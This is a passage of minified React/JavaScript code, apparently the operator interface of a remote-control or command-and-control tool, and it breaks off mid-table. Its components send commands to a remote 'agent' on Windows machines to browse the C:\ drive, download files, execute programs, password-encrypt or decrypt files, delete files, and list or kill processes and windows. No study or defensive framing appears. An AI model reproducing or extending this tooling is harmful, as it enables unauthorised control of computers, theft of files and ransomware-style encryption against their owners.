YU={command:"text-zerin-accent",output:"text-zerin-text",error:"text-zerin-danger",system:"text-zerin-text-muted"},qU={command:"$ ",output:" ",error:"ERR ",system:"SYS "},XU={command:"text-zerin-accent",output:"text-zerin-text-muted",error:"text-zerin-danger",system:"text-zerin-text-muted opacity-50"};function ZU({lines:e,className:t=""}){const n=m.useRef(null),r=m.useRef(null),i=m.useRef(0);return m.useEffect(()=>{var s;e.length>i.current&&((s=r.current)==null||s.scrollIntoView({behavior:"smooth"})),i.current=e.length},[e]),a.jsxs("div",{className:`
|
||
bg-zerin-bg border border-zerin-panel-border
|
||
font-mono text-sm overflow-hidden flex flex-col
|
||
${t}
|
||
`,children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-panel/60 select-none",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent"}),a.jsx("span",{className:"text-zerin-text-dim text-xs font-medium tracking-wide",children:"Terminal"})]}),a.jsxs("div",{ref:n,className:"flex-1 p-4 space-y-1 min-h-[200px] overflow-auto custom-scrollbar",children:[e.length===0&&a.jsxs("div",{className:"text-zerin-text-muted text-xs",children:[a.jsx("span",{className:"opacity-50",children:"SYS "}),"Awaiting input. Type a command to begin."]}),e.map((s,o)=>a.jsxs("div",{className:`${YU[s.type]} whitespace-pre-wrap break-all leading-relaxed`,children:[s.timestamp&&a.jsx("span",{className:"text-zerin-text-muted opacity-30 text-[10px] mr-3 select-none",children:s.timestamp}),a.jsx("span",{className:`${XU[s.type]} select-none`,children:qU[s.type]}),s.content]},o)),a.jsx("div",{ref:r})]})]})}function QU({agentId:e,agentStatus:t}){const[n,r]=m.useState("C:\\"),[i,s]=m.useState([]),[o,l]=m.useState(!1),[c,u]=m.useState(""),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(null),[y,v]=m.useState(null),[b,w]=m.useState(""),[j,N]=m.useState(""),k=t==="dead",z=m.useRef(null),S=m.useRef(null),O=m.useRef(null);m.useEffect(()=>()=>{z.current&&clearInterval(z.current)},[]),m.useEffect(()=>{if(!p)return;const V=ae=>{ae.button!==2&&S.current&&!S.current.contains(ae.target)&&h(null)},Z=ae=>{ae.key==="Escape"&&h(null)};return document.addEventListener("mousedown",V),document.addEventListener("keydown",Z),()=>{document.removeEventListener("mousedown",V),document.removeEventListener("keydown",Z)}},[p]),m.useEffect(()=>{y&&setTimeout(()=>{var V;return(V=O.current)==null?void 0:V.focus()},50)},[y]);const A=m.useCallback(V=>new Promise((Z,ae)=>{let ue=0;const be=30,ye=setInterval(async()=>{var q;ue++;try{const C=(q=(await Xn(e)).results)==null?void 0:q.find(Y=>Y.task_id===V);C?(clearInterval(ye),C.error?ae(new Error(C.error)):Z({output:C.output,data:C.data})):ue>=be&&(clearInterval(ye),ae(new Error("Timed out waiting for agent response")))}catch{}},2e3)}),[e]),T=m.useCallback(async V=>{if(!k){l(!0),u(""),s([]),z.current&&(clearInterval(z.current),z.current=null);try{const{task_id:Z}=await Me(e,{command:"ls",args:[V]});r(V),f(!0);let ae=0;const ue=30;z.current=setInterval(async()=>{var be;ae++;try{const q=(be=(await Xn(e)).results)==null?void 0:be.find(te=>te.task_id===Z);if(q){if(z.current&&clearInterval(z.current),z.current=null,l(!1),q.error){u(q.error);return}if(q.output){const te=q.output.split(`
|
||
`).slice(2),C=[];for(const Y of te){if(Y.length<35)continue;const ne=Y.substring(0,12).trim(),B=Y.substring(13,33).trim();let le=Y.substring(34).trim();if(!le||le==="."||le==="..")continue;const we=ne==="<DIR>";(le.endsWith("/")||le.endsWith("\\"))&&(le=le.slice(0,-1)),C.push({name:le,isDir:we,size:we?void 0:ne,modified:B})}s(C)}}else ae>=ue&&(z.current&&clearInterval(z.current),z.current=null,l(!1),u("Timed out waiting for agent response"))}catch{}},2e3)}catch(Z){u(Z instanceof Error?Z.message:"Failed to send command"),l(!1)}}},[e,k]),P=V=>{if(V.name.includes("..")||V.name.includes("/")||V.name.includes("\\"))throw new Error("Invalid file name: path traversal detected");const Z=n.endsWith("\\")||n.endsWith("/")?"":"\\";return n+Z+V.name},D=V=>{N(V),setTimeout(()=>N(""),5e3)},G=async V=>{h(null),g("download"),u(""),N("");try{const Z=P(V),{task_id:ae}=await Me(e,{command:"download",args:[Z]}),ue=await A(ae);if(ue.data){let be;try{be=atob(ue.data)}catch{u("Failed to decode file data: invalid base64 encoding");return}const ye=new Uint8Array(be.length);for(let Y=0;Y<be.length;Y++)ye[Y]=be.charCodeAt(Y);const q=new Blob([ye]),te=URL.createObjectURL(q),C=document.createElement("a");C.href=te,C.download=V.name,document.body.appendChild(C),C.click(),document.body.removeChild(C),URL.revokeObjectURL(te),D(`Downloaded ${V.name}`)}}catch(Z){u(Z instanceof Error?Z.message:"Download failed")}finally{g(null)}},R=async V=>{h(null),g("delete"),u(""),N("");try{const Z=P(V),{task_id:ae}=await Me(e,{command:"delete",args:[Z]});await A(ae),D(`Deleted ${V.name}`),T(n)}catch(Z){u(Z instanceof Error?Z.message:"Delete failed")}finally{g(null)}},K=async(V,Z,ae)=>{v(null),w(""),g(V),u(""),N("");try{const ue=P(Z),{task_id:be}=await Me(e,{command:V,args:[ue,ae]}),ye=await A(be);D(ye.output||`${V==="encrypt"?"Encrypted":"Decrypted"} ${Z.name}`),T(n)}catch(ue){u(ue instanceof Error?ue.message:`${V} failed`)}finally{g(null)}},_=async V=>{h(null),g("execute"),u(""),N("");try{const Z=P(V),{task_id:ae}=await Me(e,{command:"execute",args:[Z]}),ue=await A(ae);D(ue.output||`Executed ${V.name}`)}catch(Z){u(Z instanceof Error?Z.message:"Execute failed")}finally{g(null)}},M=(V,Z)=>{V.preventDefault(),V.stopPropagation();const ae=180,ue=220;let be=V.clientX,ye=V.clientY;be+ae>window.innerWidth&&(be=window.innerWidth-ae-8),ye+ue>window.innerHeight&&(ye=window.innerHeight-ue-8),h({x:Math.max(4,be),y:Math.max(4,ye),entry:Z})},F=()=>{!y||!b.trim()||K(y.action,y.entry,b)},U=n.split(/[/\\]/).filter(Boolean);return a.jsxs("div",{className:"p-6 animate-fade-in max-w-3xl mx-auto",onContextMenu:V=>{V.preventDefault(),h(null)},children:[a.jsxs("div",{className:"flex items-center gap-1 mb-4 text-xs font-mono overflow-x-auto",children:[a.jsx("button",{onClick:()=>T("C:\\"),className:"text-zerin-text-muted hover:text-zerin-accent transition-colors px-1",disabled:k,children:"root"}),U.map((V,Z)=>a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"/"}),a.jsx("button",{onClick:()=>{const ae=U.slice(0,Z+1).join("\\")+"\\";T(ae)},className:"text-zerin-text-dim hover:text-zerin-accent transition-colors px-1",disabled:k,children:V})]},Z))]}),a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:()=>T(n),disabled:k||o,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
|
||
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
|
||
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[o?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Browse"]}),k&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"}),x&&a.jsxs("span",{className:"inline-flex items-center gap-1.5 text-xs text-zerin-text-muted",children:[a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),x,"..."]})]}),c&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:c}),j&&a.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 px-4 py-3 text-xs text-zerin-accent mb-4 font-mono",children:j}),d?i.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[24px_1fr] gap-2 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"})]}),i.map(V=>a.jsxs("button",{onClick:()=>{if(V.isDir){const Z=n.endsWith("\\")||n.endsWith("/")?"":"\\";T(n+Z+V.name)}},onContextMenu:Z=>M(Z,V),className:`w-full grid grid-cols-[24px_1fr] gap-2 px-4 py-2 text-left\r
|
||
border-b border-zerin-panel-border last:border-b-0\r
|
||
hover:bg-zerin-panel-hover transition-colors text-sm`,children:[a.jsx("span",{className:"text-zerin-text-muted",children:V.isDir?a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 14.25v-2.625a3.375 3.375 0 00-3.375-3.375h-1.5A1.125 1.125 0 0113.5 7.125v-1.5a3.375 3.375 0 00-3.375-3.375H8.25m2.25 0H5.625c-.621 0-1.125.504-1.125 1.125v17.25c0 .621.504 1.125 1.125 1.125h12.75c.621 0 1.125-.504 1.125-1.125V11.25a9 9 0 00-9-9z"})})}),a.jsx("span",{className:V.isDir?"text-zerin-accent font-medium":"text-zerin-text-dim",children:V.name})]},V.name))]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Browse to list files on the agent"})]})}),p&&a.jsxs("div",{ref:S,className:"animate-scale-in fixed z-[9999] min-w-[170px] border border-zerin-panel-border bg-zerin-panel py-1",style:{left:p.x,top:p.y},children:[a.jsx("div",{className:"px-3 py-1.5 border-b border-zerin-panel-border",children:a.jsx("span",{className:"text-[11px] font-mono text-zerin-text-muted truncate block max-w-[200px]",children:p.entry.name})}),a.jsxs("button",{onClick:()=>G(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
|
||
text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})}),"Download"]}),a.jsxs("button",{onClick:()=>_(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
|
||
text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute"]}),a.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:()=>{v({action:"encrypt",entry:p.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
|
||
text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})}),"Encrypt"]}),a.jsxs("button",{onClick:()=>{v({action:"decrypt",entry:p.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
|
||
text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"})}),"Decrypt"]}),a.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:()=>R(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
|
||
text-zerin-danger hover:bg-zerin-danger-dim transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})}),"Delete"]})]}),y&&a.jsx("div",{className:"fixed inset-0 z-[10000] flex items-center justify-center bg-black/60",onClick:()=>{v(null),w("")},children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 min-w-[340px] animate-scale-in",onClick:V=>V.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text mb-1 capitalize",children:[y.action," File"]}),a.jsx("p",{className:"text-xs text-zerin-text-muted mb-4 font-mono truncate",children:y.entry.name}),a.jsx("label",{className:"block text-xs text-zerin-text-dim mb-1.5",children:"Password"}),a.jsx("input",{ref:O,type:"password",value:b,onChange:V=>w(V.target.value),onKeyDown:V=>{V.key==="Enter"&&F(),V.key==="Escape"&&(v(null),w(""))},placeholder:"Enter password...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
||
text-zerin-text font-mono text-sm placeholder-zerin-text-muted\r
|
||
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20\r
|
||
transition-all mb-4`}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>{v(null),w("")},className:`px-3 py-1.5 text-xs text-zerin-text-dim\r
|
||
hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:F,disabled:!b.trim(),className:`px-4 py-1.5 text-xs font-medium bg-zerin-accent text-white\r
|
||
hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r
|
||
transition-colors capitalize`,children:y.action})]})]})})]})}function JU({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),[p,h]=m.useState(null),[x,g]=m.useState(null),y=t==="dead",v=m.useRef(null);m.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=m.useCallback(async()=>{if(!y){s(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:k}=await Me(e,{command:"ps"});u(!0);let z=0;const S=30;v.current=setInterval(async()=>{var O;z++;try{const T=(O=(await Xn(e)).results)==null?void 0:O.find(P=>P.task_id===k);if(T){if(v.current&&clearInterval(v.current),v.current=null,s(!1),T.error){l(T.error);return}if(T.output){const P=T.output.split(`
|
||
`).filter(K=>K.trim()),D=[];for(const K of P){const _=K.trim().split(/\s+/);if(_.length>=2){const M=parseInt(_[0],10);if(!isNaN(M)){const F=_.length>=3?parseInt(_[1],10):0,U=!isNaN(F)&&_.length>=3,V=U?_.length>=4&&_.slice(3).join(" ")||_[2]:_.slice(1).join(" "),Z=U&&_.length>=4?_[2]:void 0;D.push({pid:M,ppid:U?F:0,name:V,user:Z,children:[]})}}}const G=new Map;D.forEach(K=>G.set(K.pid,K));const R=[];for(const K of D){const _=G.get(K.ppid);_&&_!==K?_.children.push(K):R.push(K)}r(R.length>0?R:D.map(K=>({...K,children:[]})))}}else z>=S&&(v.current&&clearInterval(v.current),v.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(k){l(k instanceof Error?k.message:"Failed to send command"),s(!1)}}},[e,y]),w=(k,z)=>{if(!z)return k;const S=z.toLowerCase();return k.filter(O=>{const A=O.name.toLowerCase().includes(S)||String(O.pid).includes(S),T=w(O.children,z).length>0;return A||T})},j=m.useCallback(async k=>{h(k),g(null);try{await Me(e,{command:"kill",args:[String(k)]}),setTimeout(b,2e3)}catch(z){l(z instanceof Error?z.message:"Failed to kill process")}finally{h(null)}},[e,b]),N=w(n,d);return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
|
||
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
|
||
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:k=>f(k.target.value),placeholder:"Filter processes...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r
|
||
text-xs text-zerin-text placeholder-zerin-text-muted\r
|
||
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"PID"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"User"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Kill"})]}),a.jsx("div",{className:"max-h-[500px] overflow-y-auto custom-scrollbar",children:N.map(k=>a.jsx(cS,{process:k,depth:0,confirmKillPid:x,killingPid:p,onKillClick:z=>g(z),onKillConfirm:j,onKillCancel:()=>g(null)},k.pid))})]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6A2.25 2.25 0 016 3.75h2.25A2.25 2.25 0 0110.5 6v2.25a2.25 2.25 0 01-2.25 2.25H6a2.25 2.25 0 01-2.25-2.25V6zM3.75 15.75A2.25 2.25 0 016 13.5h2.25a2.25 2.25 0 012.25 2.25V18a2.25 2.25 0 01-2.25 2.25H6A2.25 2.25 0 013.75 18v-2.25zM13.5 6a2.25 2.25 0 012.25-2.25H18A2.25 2.25 0 0120.25 6v2.25A2.25 2.25 0 0118 10.5h-2.25a2.25 2.25 0 01-2.25-2.25V6zM13.5 15.75a2.25 2.25 0 012.25-2.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-2.25A2.25 2.25 0 0113.5 18v-2.25z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list processes on the agent"})]})})]})}function cS({process:e,depth:t,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:s,onKillCancel:o}){const[l,c]=m.useState(!0),u=e.children.length>0,d=n===e.pid,f=r===e.pid;return a.jsxs(a.Fragment,{children:[a.jsxs("div",{className:`w-full grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-1.5\r
|
||
border-b border-zerin-panel-border last:border-b-0\r
|
||
hover:bg-zerin-panel-hover transition-colors text-xs`,children:[a.jsx("span",{className:"font-mono text-zerin-accent tabular-nums cursor-pointer",onClick:()=>u&&c(!l),children:e.pid}),a.jsxs("span",{className:"text-zerin-text cursor-pointer",style:{paddingLeft:t*16},onClick:()=>u&&c(!l),children:[u&&a.jsx("svg",{className:`w-3 h-3 inline mr-1 text-zerin-text-muted transition-transform ${l?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),e.name]}),a.jsx("span",{className:"text-zerin-text-muted truncate",children:e.user||"-"}),a.jsx("span",{children:f?a.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):d?a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("button",{onClick:()=>s(e.pid),className:"text-zerin-danger hover:text-red-400 font-medium transition-colors",children:"Yes"}),a.jsx("span",{className:"text-zerin-text-muted",children:"/"}),a.jsx("button",{onClick:o,className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:"No"})]}):e.pid>4?a.jsx("button",{onClick:()=>i(e.pid),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:`Kill PID ${e.pid}`,children:a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})}):null})]}),l&&e.children.map(p=>a.jsx(cS,{process:p,depth:t+1,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:s,onKillCancel:o},p.pid))]})}function eV({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),p=t==="dead",h=m.useRef(null);m.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=m.useCallback(async()=>{if(!p){s(!0),l(""),r([]),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:y}=await Me(e,{command:"windows"});u(!0);let v=0;const b=30;h.current=setInterval(async()=>{var w;v++;try{const N=(w=(await Xn(e)).results)==null?void 0:w.find(k=>k.task_id===y);if(N){if(h.current&&clearInterval(h.current),h.current=null,s(!1),N.error){l(N.error);return}if(N.output)try{const k=JSON.parse(N.output);r(k)}catch{l("Failed to parse window list")}}else v>=b&&(h.current&&clearInterval(h.current),h.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(y){l(y instanceof Error?y.message:"Failed to send command"),s(!1)}}},[e,p]),g=d?n.filter(y=>{const v=d.toLowerCase();return y.title.toLowerCase().includes(v)||y.class.toLowerCase().includes(v)||String(y.pid).includes(v)||String(y.hwnd).includes(v)}):n;return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:x,disabled:p||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
|
||
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
|
||
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:y=>f(y.target.value),placeholder:"Filter windows...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r
|
||
text-xs text-zerin-text placeholder-zerin-text-muted\r
|
||
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),p&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?g.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[100px]",children:"HWND"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[80px]",children:"PID"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Title"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[200px]",children:"Class"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:g.map((y,v)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-accent",children:y.hwnd}),a.jsx("td",{className:"px-4 py-2 font-mono 